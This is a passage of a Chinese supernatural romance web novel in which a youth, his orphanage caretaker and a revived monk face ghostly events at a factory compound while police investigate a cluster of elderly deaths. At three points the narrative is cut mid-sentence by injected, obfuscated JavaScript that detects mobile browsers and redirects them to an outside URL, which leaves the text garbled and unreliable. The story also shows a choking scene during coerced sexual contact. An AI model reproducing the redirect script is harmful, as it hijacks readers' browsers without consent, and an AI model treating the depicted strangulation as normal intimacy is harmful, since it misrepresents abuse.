似绕非绕,似威胁又不是威胁,似浪漫又不是浪漫。施霜景挠了挠鼻梁侧,有些窘迫,佛子把他形容成爱惹事的小孩,施霜景回想一下,好像他的确如此——对佛子的事像个笨蛋,对杨玲玲的事像个莽撞混子,对吉祥话的事像个滥好人。得改了。这脑子再不长就有点不礼貌了。 临走之前,罗爱曜忽然折返,又问一回:“真的不来?” 难得见到罗爱曜盛情邀请,施霜景心里犯突突,这到底是什么意思?是真心邀请还是要看笑话?就这么一愣神的一两秒,罗爱曜收起兴味,翻脸比翻书还快,也没向施霜景特别交代些什么,意思是让他自己看着办,大概后半夜也不会再出些什么大事了。 他去二楼照顾福利院里七个孩子,顺便还要看顾刘奶奶。罗爱曜骑上机车离开,一点不留恋。施霜景发现这屋子里的小孩们都睡得死沉,一晚上连翻身的动静都没有。福利院的床尺寸普遍偏大,置办这些家具讲究一步到位,施霜景找到刘奶奶之前睡过的那张床,可看见被褥半掀开,当时刘奶奶就是从这张床下来然后开门见到施霜景和罗爱曜的。施霜景躺上床,恐惧透心凉,总是担心床下还藏着一只半只?型人。这一晚怎么睡下去的,施霜景全然不知了,噩梦一个接一个的做,可醒来什么也都不记得。 第二天早晨五点,施霜景迷迷瞪瞪,似乎见到一个人站在床尾。他定睛一看,竟然是穿着血衣的刘奶奶,她低身瞧着睡觉的孩子们,一个个看过去,时不时拨拉一下自己因沾了血而结绺的头发。 发现施霜景醒了,她走过来,施霜景连忙撑起上身往后退,后背“咣”地撞上床头板。动静有些大,刘奶奶朝他比了嘘声的手势。 她指了指外边,示意施霜景出来。 施霜景仔仔细细打量刘奶奶,她虽然看起来这般狼狈,可好像今天已完全行动无异了,眼睛很有神采,眼神并不昏沉、执拗。施霜景穿衣服,跟刘奶奶去到室外的走廊。入冬以后天亮得晚,五点正是夜中,此时福利院的声控走廊灯又好了,随着他们的行动而亮起。 “刘奶奶……我们现在要不要再去一趟医院?” 刘奶奶摇头,将手拢进棉服的袖子里,她呵出一口白气,“用不着去。昨晚正当该去的,已经过了这点了,我人都好了,还去什么医院?” “……”看来她知道自己摔下去了。施霜景想。 “你这孩子,我让你别来,你偏要来。你属驴的吗,这么倔?”刘奶奶浅浅埋怨两句,一转语气,“不过幸好你来了……和你一起行动的那个男人是谁?‘远房表哥’?” 有种乱搞被家长抓到的心虚感,施霜景斟酌半天才说:“就是朋友,城里来的,我收留他一段时间。昨天我很担心你的情况,他又骑车,我就让他送我过来。刘奶奶,你之前就碰到……那些东西吗?”施霜景大概比了个手势,意思是在地上、天花板上爬的那些东西。 刘奶奶双手搭上栏杆,往外远眺,以一种讲故事的语气开口:“你还记得我们刚来励光厂的时候吗,你刚上四年级,应该是你十二岁那年。我们刚来的时候还有好些孩子,比现在多,但补助不大稳定,我们要用有限的补助来照料你们,就很头疼。也是刚到的那年冬天,我听说厂里有个旧庙对孩子的事很灵,就自掏腰包去拜过几次。虽然现在我们都说要破除封建迷信,可过了那年的春节之后,补助情况马上就好起来了。可能也是我贪心吧,每年都去还愿,又忍不住要许新的。今年我还没来得及去,不知道是不是我还愿晚了,报应找上门来。” 应该不是这样。施霜景想起罗爱曜之前喃喃自语的那些内容,很明显鬼子母神是冲着别的事来,福利院……是因为孩子比较多吗?受鬼子母神青睐也不奇怪。 刘奶奶转身看向施霜景,她比施霜景印象里还要矮上一些,相比于每年都在长高的施霜景,刘奶奶则像是随着年龄的增加而身量缩水。刘奶奶说过,她的名字叫刘茜,她父母最开始起的名字叫“刘浅”,刘奶奶不喜欢,读大学之后就去改了名字。 关于她的那些人生故事都讲于厨房流理台边、洗衣房水槽旁、小操场板凳上、午觉晚觉床前。最开始知晓的是她与丈夫中年离婚,儿子原是判给丈夫的,但离了婚的男人鲜少管家,都是将孩子交给自己的父母,于是男人自己的父母也都死了之后,儿子跟刘茜过了一段日子,直到儿子长大成人、结婚生子。彼时刘茜仍未退休,儿子要刘茜提前内退,回来替他照顾孙子,刘茜指望着自己能拿满格的退休金,作更长远的打算,便婉拒了儿子的要求。等到她五十五岁,终于有空带孙子,结果前夫又找上门来,想装作什么都没发生,于是乎刘茜感觉自己又开始给一家老小做保姆,太累了。五十六岁,她离开那个家,是中年女人的决绝出走。施霜景是她入职乡镇福利院以来亲自接手的第一个孩子,那年施霜景八岁。 再往前的故事……那个年代的人大抵都是如此的人生轨迹。她出生于饥荒年间,好不容易才活下来。二十三岁那年,尽管她已经结婚生育了,还是要坚决考大学,学的是会计。大学毕业那年,正逢全国劳动合同制改革,国有企业不再是铁饭碗,她进企业之后兢兢业业,混到女干部一级别,这才换来了五十五岁退休,比其他人多干五年。她是受那个年代的党和妇联教育长大的,愿意照顾更多的人。她能理解家里孩子对她的诸多不满——外边的孩子能比自己的孩子和孙子更亲吗?可刘茜认为总有人得干这些事。退一万步来说,她受不了这种虚伪的阖家团圆,再做牛做马二十年,就为了换自己行动不便的那几年,有儿子儿媳能顾一下自己。她是做会计的,这买卖听上去也太不划算了。真到那时候再说。刘茜很清楚自己是个自私的付出者。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422741|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅炉的热水怎么还没烧好?真想洗个澡啊。”刘茜发出如此感慨,就好像昨晚的恐怖情景只是一场梦、一次打闹。施霜景更毛骨悚然,好像全世界只有自己的心态还停留在表面的、看似安全的世界,其他人则是一迈入里层世界就迅速跟上了新逻辑。 “奶奶,你真的是刘奶奶吗?” “傻孩子,你怕什么?我还能不是你的刘奶奶吗?”刘奶奶指了指隔壁房间,“前几天我就知道他们来了,第一晚我和你一样,吓得魂飞魄散,但他们只是来找孩子玩。有些孩子太小了,分不清什么是正常还是不正常,但是不是善意,他们还是能分辨清楚的。” “是我唐突打扰了。对不起。” “他们昨天来得很早,相当早。今天我不会让这些孩子这么早睡了。”刘奶奶微笑,“这个‘小诃利帝’是谁呢?真想认识一下啊。” ……这真的正常吗。施霜景想,这,真的,正常吗?到头来一惊一乍的只有自己?怕得恨不得爬上罗爱曜后背的只有自己?那些想象中的癫狂场景全无发生,老人很快就接受了这个事实,这年头封建迷信看似破除了,但真出现时大家马上就接受,如此丝滑无碍。 天快亮之际,机车声划破宁静,罗爱曜回到福利院门口。施霜景守在一楼的澡堂门前,刘奶奶进去洗澡了,刚刚听见她关水龙头。罗爱曜比了个手势,示意施霜景过来,施霜景摇头,做口型说,他得等刘奶奶出来再走,罗爱曜只能指了指后排绑着的木盒,意思是让他过来取木盒。好在洗漱干净的刘茜很快重新出现在二人面前,罗爱曜将木盒交给刘茜,“这是小诃利帝的佛头,你和她互相正式认识一下。” “昨天,她上了我的身,我觉得我和她好像是一体的。”刘茜默认罗爱曜是干这一行的师傅,也就什么都不避讳,统统明说了。 “她告诉我,她其实经常来,所以你们确实是一体的。她以前只是借你的眼睛看、借你的手抚摸、借你的耳朵聆听,但现在她会更多地借用你的身体。这是她的业在流转,但她已经没有肉身了。” 现下还不是仔细解释这一切的好时候,罗爱曜让施霜景上车,他要先带施霜景回家。 “奶奶,我晚上还来!”随着机车远去,施霜景的身影迅速拉远。 刘奶奶喊道:“来之前记得发消息!没事就别来啦!” 两人回到家,施霜景没话找话:“你昨晚去山洞怎么样?” “我见到郎放和他女儿了。”一个完美的话题漂移。 “什么?” 罗爱曜机械地脱外套、脱套头毛衣,只剩一件短袖,“我说,我见到郎放和他女儿了。我昨晚上门收债,成果不佳。” “……”施霜景抬高眉毛,不知道怎么回应比较好。 “要吉祥话的这一家,请了郎放来守门。”罗爱曜换上一副完全想不通的表情,“他图什么?图钱吗?” 施霜景连鞋都没脱,心想见势不对还能转身再逃出门,他问:“等等,你去找要吉祥话那一家干嘛?报仇吗?” “我去杀人啊。” 如此理所当然的语气,如此天经地义的事宜。施霜景脑袋里嗡的一声,杵在鞋柜旁欲言又止,憋了半天,施霜景竟然主动认错:“我再也不跟陌生人说话了。” 罗爱曜点点脑袋,深以为然,但他又用释怀的语气说道:“你没办法控制,这就是命。就跟厂里这些怪事一样,这都是命。励光厂正形成一个特殊的场域,自然的,天生的,你我都注定要来,其他神佛妖魔也要来。我今天一边索命未成一边心想,到底是我找上你还是你找上我?真邪门啊。” 听到“真邪门啊”这四个字时,施霜景弯腰换鞋,他受不了了,这一会儿绷紧一会儿又抻开来跳绳的神经真的受不了了。好滑稽的四个字,由罗爱曜说“真邪门啊”,滑稽翻倍。到底是哪里出了问题?为什么这倒霉里只有无穷的荒谬与可笑?好累,先睡。施霜景将书包往沙发上一扔,玉米小猫窜出来,准备快活地吓自己主人一跳,施霜景已经不会被猫吓住了,他招招手,让玉米陪他睡觉。终于周末了! 不管是谁色心大发还是谁玩心大起,施霜景都要好好睡一觉再说。 27.鬼子母神篇(三) 可怜施霜景脑袋挨枕头不过两三个小时,静音的手机就在枕边抖个没完。施霜景睁眼一看来电人,登时瞌睡全无,赶紧接电话:“对不起,老板,我忘记请假了……” 穷困的施霜景在周末要雷打不动进市里打工,捶柠檬茶,这是他上学期间唯一稳定的收入来源。自从遇见佛子,施霜景每天过得浑浑噩噩,本来就已经不知今天是何月何日,昨晚又受了惊吓,脑容量和精力都不足够处理这些日程。施霜景撒谎撒得愈来愈熟练,说自己生病,可能这周末的两天都没法去了,正这么骗着呢,施霜景脑后传来声音:“还有什么可去的?你还要继续干这些体力活?” 施霜景赶紧用手掩住话筒,可惜那声音如此近,毕竟罗爱曜与施霜景躺在同一张床上,老板估摸着是听见了,留下一句玩笑:“哟?有大哥了?你先好好照顾身体,如果不来上班的话,也得跟我打声招呼,咱们好聚好散?” “我下星期一定来!不散!” “行,今天的班我就先找人帮你上了。” 挂断电话后,施霜景默默往床边拱了拱,离罗爱曜远点。做过,亲过,可这才是他们见面的第几天?如果刘茜知道施霜景和罗爱曜是这种关系,她会不会对施霜景很失望?会的。会的。会的。施霜景十分笃定。 “要睡就安静地睡,不睡就滚。”罗爱曜翻个身,语气略带不悦。原来他不打字、用嘴说“滚”这个字是这种语气,并非怒意浓重、金石铿锵,而是将人遣出去的少爷、纨绔、主人气势。 施霜景不跟罗爱曜多计较,两人背对背,中间留出宽宽的缝隙,被子难免漏风透气,这一下就让玉米给找着机会了,它先跳上细细一道棱的床头板,然后轻巧一跃,小胖脑袋拱啊拱,钻进两人后背的缝隙,毛茸茸的,很是招人喜爱。施霜景往后伸手,想摸一摸玉米那油滑的背脊,却与罗爱曜的手相碰,原来罗爱曜也感觉到这猫的动静,也下意识想摸。 真尴尬。施霜景收回手,浑身又热又冷,是尴尬的后遗症。玉米找到大腿后的位置盘成猫球一个,安稳地睡下了,脑袋靠施霜景,屁股和尾巴靠罗爱曜,也不怕两个男人突然在被窝里放出点什么臭气来把它熏跑。玉米太想施霜景了,想念被窝,想念体温,什么都想。昨晚施霜景又没回来,玉米真想不通这么大一个主人怎么变样了,它还是施霜景冬天最爱的暖手宝吗? 二人一起睡到下午,胃里空空的,再也睡不踏实。从进门的角度看,罗爱曜睡床左侧,施霜景睡床右侧,罗爱曜靠近衣柜,施霜景靠近窗。罗爱曜的手在被子里一下一下地抚摸玉米的毛皮,施霜景半坐起来,倚着床头看手机。二人之间的话题少得可怜,而且施霜景好不容易睡了神清气爽的一觉,醒来就得把脑子纠正成灵异版本——对施霜景而言,罗爱曜的真人其实很具体,不太会让他觉得罗爱曜是什么危险人物,甚至不是人。 体温是真实的,肌肤是真实的,热气是真实的。比起他人说的,施霜景更愿意相信他自己的接触。虽然两人同睡一个被窝相当不妥,可施霜景从小很缺少这种与人共枕的机会,他今天醒来时,脑海里忽然闪过一个感慨——“好舒服”。离他很近的地方有另一个人在共享这种安全的睡眠,就连玉米也会赞同施霜景的看法,他们都在认知层面上知道罗爱曜的危险性,可在细微的互动里又不能将他区分开来。 施霜景放下手机,“我饿了。你要吃什么?” “和你吃一样的。” “我不是得吃食盒里的东西么?” “我不想吃这些祭品,口味很怪,不协调。你做吧,我无所谓,什么都可以。”罗爱曜望向施霜景,蓝眼睛雾蒙蒙的,“你吃得惯那些祭品?” “还行,我跟你一样,不挑。” 这一觉睡舒服了,施霜景就没怨言,下床给佛子做迟来的午餐。昨天佛子是跟着施霜景一起吃祭品吃了两顿,看来不合他胃口,施霜景确认了冰箱里中午食盒的菜色,昨天柳司机来过,给佛子送日常用品和教科书,顺便送来一些食材。施霜景听说柳司机帮佛子接包裹,就说下次直接留他的地址就好,不麻烦柳司机多送一趟。 食盒里至少是三菜一饭,相比起来,施霜景中午只能给佛子下一碗面条,好在罗爱曜并不挑,坐定在餐桌前,认真吃饭,只说:“做面条也得多做几种口味,总是煎蛋配青菜,太素。” 和尚感慨煎蛋面条太素。施霜景这内心里的吐槽真的很难停下。他原本不是这样的人,原本是里外都一致、想得少说得也少的类型,自从罗爱曜到来,施霜景的内心给强行激活了。 “你嫌弃这些祭品口味太拼配,为什么不只取一家的祭品?”我感觉你这些菜像是东偷一道、西偷一道来的。施霜景没说出后面这句。 “规矩就是只取一道,信徒做饭自己吃,我全收了他们吃什么?” 施霜景老早就好奇了,“那你是怎么拿到这些祭品菜色的?” “有求于我的信徒大多家里都有供桌,放上供桌的菜色荤素不忌,只放一道,我取走哪家的菜,就是兑现相应功德。”罗爱曜伸筷从施霜景碗里夹走几片牛肉,“但用来喂你的这些祭品,都是我从那些供养上百年的老信徒家族中取来的,比较稳定。” “他们都因为供养你而荣华富贵了吗?” “是的。”罗爱曜说,“我于现世可使用的金钱财产中,一部分是过往财物保存至今,一部分是信众供养,还有一部分是褫夺、罚没之财。” 怪不得。虽然施霜景不知道罗爱曜这些钱财的具体兑现法,可罗爱曜确实不像缺钱的人。 午餐毕,两人大眼瞪小眼,施霜景想出门,可今日厂里的浓雾已到了五米开外不识人畜的地步,罗爱曜心情依旧不好,翻着柳司机送来的教科书,大致翻了几页,忽然合上书说:“施霜景,坐过来。” 施霜景将手里最后两个碗涮干净,解围裙,在罗爱曜对面坐下。 “昨晚我和郎放谈到了你。” 这话题太突然了,怎么又提到郎放?于施霜景而言,郎放只是他有过一面之缘的男人,他对郎放的印象还不如对郎放女儿的印象深刻。 “他要带他女儿住进励光厂,一时半会不打算离开。”罗爱曜神情严肃道,“他之前接触过你,也认出了我的诫文,我要事先提醒你,我和他应该还是不容,但不会真的起大冲突,因为往上追溯,我与他有渊源。昨天他向我表示,他有收你为徒的想法,就算他不能亲自教,也会为你找师父,因为你的命格特殊,天生就适合修行此道。” 还未等施霜景给出什么反应,罗爱曜语带嘲讽道:“但我说,郎放他们晚来了一步,你已经和我纠缠在一起了,而且我觉得你现在的要紧事是高考。你怎么看?” “真的假的?收我为徒?”施霜景难得睁大眼睛,露出这样诧异的表情,“我高考考不上,想想还是做关门弟子比较划算吧?” “不许去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一句好像忽然问住了罗爱曜。他肉眼可见地脸色阴沉下来,施霜景有些紧张,可罗爱曜马上又调整回来了,简直像是将“阴晴不定”四个字表演了一遍。罗爱曜复又翻开面前的教科书,边翻页边说:“反覆无常比古井无波好。你今天不许独自出门,郎放在找你。我看今天的天气很适合学习,你说呢?” 施霜景假装没听见,用逗猫棒逗弄着椅子旁的玉米,玉米的胡须四散开来,四肢飞舞,显然是玩得非常开心。 “你觉得我在开玩笑?” “你今天才翻开课本,能辅导我吗?” “现在是十一月,高考在六月,你还有七个月的复习时间。我会从你们的小学课本开始自学,主要是数学、物理等理科学科。杨玲玲下周要是愿意过来,我会先以语文和英语来做入手。” “英语?” “语言是我最擅长的。”罗爱曜说,“我法身苏醒的时候就已经开始学习各类现代语言,是的,所以至少我现在可以辅导你英语和语文。” 说完,罗爱曜忽然好像被什么吸引走了注意力。施霜景随着罗爱曜的转头方向看过去,是门外?很快他们听到脚步声,经过他家门口,又往楼上去了。这动静很近,似乎就在楼上一层停住。 郎放拉住女儿蒋念琅的手,让她不要爬楼梯太快。楼下的灵棚里放着咿咿呀呀的哀乐,郎放的心里也在吹唢呐,他手里提着行李箱,上到四楼,掏出钥匙,开门。 28.鬼子母神篇(四) 虽然励光厂离D市算是有一截距离,但到底划在城市里,灵棚最多只能摆放三天。纵使今日浓雾滚滚,还是有不少警察顺着一家家灵棚劝说过去,希望明天白天之前这些灵棚都能清理干净。短短几天,死了快要四十位老人,不惊动警察是不可能的。除了警察,还有记者。外来的车辆一驶入励光厂地界,就感到莫名的寒意,好像是从自己身体内部生发而出的透骨寒,车内暖气烘热大家的头脸,两相对比下来,这寒意就更加鲜明。 励光厂派出所是小所,他们将老人的情况上报进市里,今天终于有市公安局的刑侦支队和法医进入励光厂。励光厂是国营航空厂,有配备厂区医院,尽管现在医院已经没落了,只相当于社区医院的服务水平,但厂区医院配有停尸间和解剖室,有几位老人的遗体就停在厂区医院中,励光厂派出所在中间作联络,希望获得家属的解剖同意。老人的家属也觉得老人走得蹊跷,很快便同意。 市公安局刑侦支队派来的年轻刑警叫谭鸿信,法医叫林鸣,两人在刑侦支队就合作过多次,这次上头依旧派他俩过来排查情况。谭鸿信一到励光厂就要开始做初步评估,林鸣则是需要立刻排查是否是公共卫生事件,因为短时间内大量老人死亡,且不是疗养院内的突发情况,所里一听到这个情况,第一反应是当地是否爆发了某种传染病,由于老人抵抗力较差所以先行遭难。林鸣与谭鸿信都戴着口罩,他们开着市局的警车驶入浓雾中的励光厂时,谭鸿信说:“看上去跟化工厂事故似的,我刚才摘了一下口罩,整个厂都在飘香火气,你闻见没?” 林鸣点头。他们的车在宽阔的厂道上龟速行驶,谭鸿信几乎是十米一按汽笛,大白天也不敢关远光灯。好不容易将车开到了厂区医院门口,林鸣先行下车进医院,谭鸿信则是去找同意遗体解剖的家属做调查。 “不用你们说,我们也会今天就收走灵棚的。要不是我爸托梦,我都不愿意在厂里替他摆灵堂,在市殡仪馆里办要方便得多。”身为长子的家属说,“警察,这真的很奇怪,你去问问其他孝子孝女,他们好多也被托梦了。我爸是独居,身子骨还硬朗,他住五楼,天天上下爬楼都不带喘气的,动不动还和其他退休老头一起去厂里的体育俱乐部打乒乓球、羽毛球,我都三高了我爸都没三高。我真的挺不能接受的,到现在我们一家子都没缓过来。” 谭鸿信在自己的黑皮小笔记本上记关键词,他来之前已经看过励光厂派出所做的初步调查报告,包括发现老人时家里的各种情况。因为这些老人是一两天内集中出事,民警也累坏了,一家一家固定证据,只能做最基础的记录,完全没有时间做推理。 “鉴于出事的家庭实在太多,我就直接问了,你们认为令尊的情况是意外还是?” 家属双手叉腰,脸色又青又白,欲言又止,就刚才短短几句话,他一边说着一边都还冒冷汗,心里像总有个声音在质问他,为什么要将家事告诉外人。可警察到底是这样问了,不回答就等于有所隐瞒,家属怕自己知情不报会被追责,只能和盘托出:“怪得很。警察同志,你知道我们厂里现在超过七十岁的老人有多少吗?将近两千人!我们家老头子死了,但也有别家老头老太太还活得好好的。人老了就会碎嘴,我爸的老同事昨天来灵棚,他们说的话有些奇怪,感觉像是知道些什么,但又不跟我们这些小辈讲清楚。我只知道他们说这是‘报应’,但不知道到底是什么的报应。警察同志,你觉得这是人为还是意外?我真不知道啊。我要是知道,也就不同意你们去解剖老头了。” 根据这位家属的话,谭鸿信马上就决定调查转向,他揣着小皮革本在浓雾里走,一路上竟然见到不少买菜回来的老人,这么糟糕的天气,菜场也还在供菜、供肉,谭鸿信觉得不可思议,干脆拦住一位刚买完菜回家的老人,亮明身份,开门见山道:“大爷,我是市里来的刑警,想向您调查一下最近厂里发生的事……” 老人推开谭鸿信,只说:“我要回家做饭了,没空搞什么调查。” “您不担心这情况还会再次发生吗?” “跟我有什么关系?!你是警察,能翻得了几十年前的案子吗?”老人悻悻道,“我家没做过这种事情,压根不可能找上我。” 几十年前的案子?谭鸿信抓住重要信息,跟在老人身后,可惜跟了一路,老人还是只送他吃闭门羹。谭鸿信只觉得这厂里的人都神神叨叨的。今天是周六,年轻人见到这样的大雾也都不愿意出门,街上的老人倒是不少见,个个都手里提着菜、肉。他们的表情麻木、冷漠,认识几十年的人死了就死了,只要不轮到自己,日子就还是照过。 餐桌已经清理干净,施霜景和罗爱曜二人对坐着。到了这个阶段,作业已经全是卷子。施霜景好像从上了高中之后就很少在家老老实实写作业,就算要写,也是写十分钟作业、玩十分钟手机,等到该睡觉的时间,便心安理得滚上床,蒙骗自己。 就这样浑水摸鱼过了两年多,还大言不惭想高考呢?施霜景愁得下意识想拔自己头发。初中时候还有刘奶奶看着、盯着,那时候也不算完全听不懂课,施霜景中考可是考了四百多分呢,没有那么差吧。高中搬出来半独立地过活,他对学习就松懈了。现在的施霜景所有科目加起来能不能上二百分都是个问题。眼前的数学卷子完全是高考卷的题型和分数分布,施霜景连蒙带猜把选择、填空题填完,对着第一道大题就开始发愣。你不认识我,我不认识你。 罗爱曜则是坐在对面,手边一杯水,从小学数学课本开始翻。他找施霜景要了纸和笔,在开始看教科书之前,罗爱曜淡定地往白纸上留下鸡爪一样的畸形字迹,很显然是在适应现代的书写方式。 这人说话和不说话的风格差异实在太大。说话的罗爱曜总是能戳中施霜景内心里最容易吐槽的软肉,可不说话、专心致志的罗爱曜则完全陌生化了,一种很突兀的不熟感,仿佛这不是家里,而是图书馆。施霜景对面坐着一个完全不认识的人,看小学课本也看得全神贯注,能从他的神情里得知,他正在处理、加工这些知识。柳司机家里有一个刚上高中的孩子,他知道佛子要辅导施霜景考大学,也知道佛子需要从头补起,所以他既准备了教科书,也准备了一些模拟考卷和工具书,方便佛子比照着自学。 “别看我,看卷子。”罗爱曜头也不抬道。 施霜景继续揪头发,决定换一张卷子。英语也写不会,还是语文吧。要默写的地方翻出古诗记忆本来照抄,阅读题就瞎编,作文不想写。施霜景正了正身形,他忽然很唾弃这样的自己,究竟从什么时候开始,他一点耐心都没有了?他翻开自己的课本,幸好他上课会抄笔记。不论是数学、物理、化学还是生物,该抄的笔记都抄了下来,基本都在课本上,不知道位置对不对,有没有抄错细节,但直到高二结束,施霜景也都还佯装没有浪费这些课堂时间。可惜他什么都看不懂。他怀疑自己连中考的内容都已经全部忘光光。 学到下午四点,罗爱曜从卧室里取出一台笔记本电脑和一台平板电脑,施霜景也终于看见了罗爱曜的手机,他发现不论罗爱曜使用电脑还是使用手机,速度都不快,甚至可以说是慢悠悠的。没等施霜景开口问,罗爱曜就主动解答了:“我对这些产品不熟练。不论是法身还是应身,都还需要一段时间适应。” 原来之前的“对方正在输入中……”都是因为罗爱曜打字很慢!施霜景说:“没关系,多用用很快就熟悉了。” “‘没关系’这三个字应该是我对你说。使用电脑、手机这些工具没有难度,写字也只需要时间来多练习,这些只是知识,对我来说都一样。这些‘没关系’都应该攒着,当我教不会你的时候由我一句接一句地说。” “……” 电脑屏幕的光映亮罗爱曜的脸,登时让他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周日早上醒来,施霜景发觉自己被搂得好紧,罗爱曜的手放在他小腹往下的地方,甚至伸进了他的裤子里,倒是没有乱摸,就是施霜景的下腹被捂出一层薄汗。施霜景特别难堪,不知道罗爱曜怎么会有这种习惯。男人的肚子到底有什么好摸的!施霜景轻轻将罗爱曜的手摘出来,悄悄下床。他和罗爱曜的起床时间错开,倒是给了施霜景一点自由活动的时间。 施霜景回到客厅,又是冷风灌入,又是在地上发现了东西。施霜景俯身拾起这张折叠的白纸,摊开来,送信人在白纸上用蜡笔规规整整地写道: “希望你还好,我是郎放。昨日我已搬到你家楼上,今天有空见上一面吗?除此之外,请立刻添加我,我的微信号就是我的手机号,xxxxxxxxxxx。” 幸好施霜景手机不离身,他一秒都没有犹豫,马上打开微信,输入号码,添加好友。 不过几秒,好友申请顺利通过。施霜景将白纸塞进自己的手机壳里,同时背诵了郎放的电话号码。危急时刻这可以救命。 施霜景点开和郎放的对话框,正打算输入自己的答复,手机上端忽然弹出消息,是新建的群组。 罗爱曜:我是睡了,不是死了。在我眼皮子底下撬人? 一剑霜寒:…… 一剑霜寒:你醒着? 一剑霜寒:你不也加了郎放吗? 郎放:没关系,我和佛子不是仇敌。 郎放:我只是觉得施霜景并非明妃体,你这样固执养成,施霜景还是有知晓的权力? 罗爱曜:你孤陋寡闻。 罗爱曜:我不是藏传密教,也不依仗双修,他单纯是祭品,不可能养成明妃体。 一剑霜寒:…… 一剑霜寒:我还在群里 郎放:真的吗? 罗爱曜:你说呢? 一剑霜寒:能不能解释一下什么是明妃体? 郎放:就是当佛子的X伴侣。 一剑霜寒:…… 罗爱曜:你这虚言诳语没完了?我不养成明妃体,不修此门。 郎放:可施霜景是你的X伴侣,他不是明妃体也已经在履行此责了。施霜景,你现在还有得选,你命格特殊,和我这边也有渊源,我愿意接收你。 一剑霜寒:谢谢你 施霜景蹲在地上回消息,忽然,他胁下遭人一提,罗爱曜将施霜景扛在肩上,带回卧室。 “不许信他。”罗爱曜说,“不许跟他走。” 29.鬼子母神篇(五) 发现施霜景在用手机搜索着什么,罗爱曜顺手抢走手机,扔进敞开的衣柜格中。 “我还是没搞懂什么是明妃体。”施霜景拍打罗爱曜的后背,“放我下来。” “那个郎放和你身体一样。他带着的女儿是他自己生的,用这里。”罗爱曜说着,按了按施霜景的腿缝,只觉肩上的人身体一僵,罗爱曜顺势将施霜景放到床上。 现在时辰还很早,又是破了罗爱曜睡觉的时间。 这些家伙总是趁他睡觉的时候不让他安生。 这睡眠节律不是罗爱曜从前一贯有的。当他还像施霜景这么年轻时,他只睡中夜里很短的一点时间,丑寅交际之时就要清醒修行。他与一般的僧侣几乎是完全不同了,旁人还在做沙弥的时候,他很早就在鸿胪寺修经并主持密教仪轨。遥想他当年只是一个孩子,就顶戴毗卢帽,作主法者,只举行最为秘密的仪式,为不可入史书的罪灾作焰口仪*1,施食普度。鸿胪寺是接应外使、掌管朝会仪式的地方,此寺非佛寺的寺,而是官署名称,不混用。罗爱曜可看作是在鸿胪寺长大成人的。他当年并不按童行——试经度僧*2这一官方渠道入佛门。不空三藏*3译经,罗爱曜亦是译经,可他在器物世从来都是无名姓的人,不空说,这是无必要,总之佛子是要回去的,也解释说,自那时起,此世就不若彼世了——那个悉达多还可名为悉达多的年代。但既然要在大唐生活、修行,得有名姓。罗是假姓,爱曜亦是假名,罗爱曜没有确切的来处,只知道罗是罗睺罗*4的罗,爱曜是音译。那时罗爱曜非常确切地活着,身是身,心是心,用现在的话来说,还属于人类范畴。他的苏醒是随中夜梵钟之音而作一日之课,他的不眠是手不释卷如天人般精力无限。 说这么多,不过就是为了说明罗爱曜现在贪睡的必要性。当年这些要紧事,现在的他统统不做了,何必还清醒。这么一想通之后,罗爱曜就连当初只有法身现世的时候都要强行下线“休憩”,睡足够的时辰,就更别说现在使用肉身。 说这么多,不过就是为了能在操施霜景的时候更心安理得。起心动念,心为法本。这样塑了金身的“心”字,热辣辣地熔化外壳,又当回那个最唯物的心,泵血的心。 罗爱曜回神的时候,施霜景已经挣扎好一会儿了。自己的手在做登徒子行径。施霜景的脖子遭罗爱曜扼住,按倒在床,另一只手当然想怎么摸就怎么摸。指尖很快就感觉到湿意,施霜景的脸涨得通红,不知到底是扼得紧了还是摸得爽了。 “我来如你的愿,你却更愿意收别人的空头支票?”罗爱曜说,“大学不想考了?猫不想要了?钱不想要了?” 施霜景真的要呼吸不过来了,长腿在床上乱蹬,他想扒开罗爱曜的手指,但这压根是不可能之事。 “唔呃……对……不、不……” 声音险些全给掐散了,对、不,看来最后一个字是起字,罗爱曜这才松手。施霜景猛吸一口气,翻身捶自己的胸口,呼吸急了想呕吐,缺氧太久又吸气太猛,像是一口气团堵在胸中,有那么一瞬施霜景以为自己不会呼吸,也没人教他怎么呼吸,像深海里突然打捞上岸的生物一般无助,这样的无助带来可笑的丑陋。施霜景真的只差那么一点就吐在床上了。 罗爱曜双臂自然垂下,颇为漠然地站在床边。施霜景终于找到正常呼吸的节奏之后,他从另一侧爬下床,忽然看到玉米鬼鬼祟祟想进屋,施霜景怒喝一声,将玉米吓走。至此屋内陷入长达十分钟的寂静。施霜景再一次回想起濒死体验。他直到现在才忽然意识到,他不能默认佛子是安全的。佛子从来就不安全,就连佛子自己也提醒过了,可施霜景跟傻帽似的,以为佛子总会给他治,治好了就还是好人。佛子刚才的问题是什么意思?钱和大学都是后话,命也要收走吗?祭品,祭品,一开始他就是想要自己的命。可为什么施霜景总默认别人会有好心呢?这十分钟里施霜景一直在想这些无解的问题,倒也不委屈,就是有那么一点点惘然,不仅没得选,连问也不能问。施霜景站在墙角,高大帅气的男高中生,可在心理层面,他已经缩成皱皱巴巴的一小团,而且还在持续收缩。不知道,不安全,不想死。 卧室门轻轻一合,只能听见室内一声轻叹,罗爱曜道:“如果我要养成明妃体,我什么都不用和你换,也不需要和你生活,只需要和你行F事,做完就离开,然后你我各自修行。我不修双身法,我说过我和你做A是破戒。再说,真有天生明妃体的人不会像你这般无亲无故,我何必强行养成?” 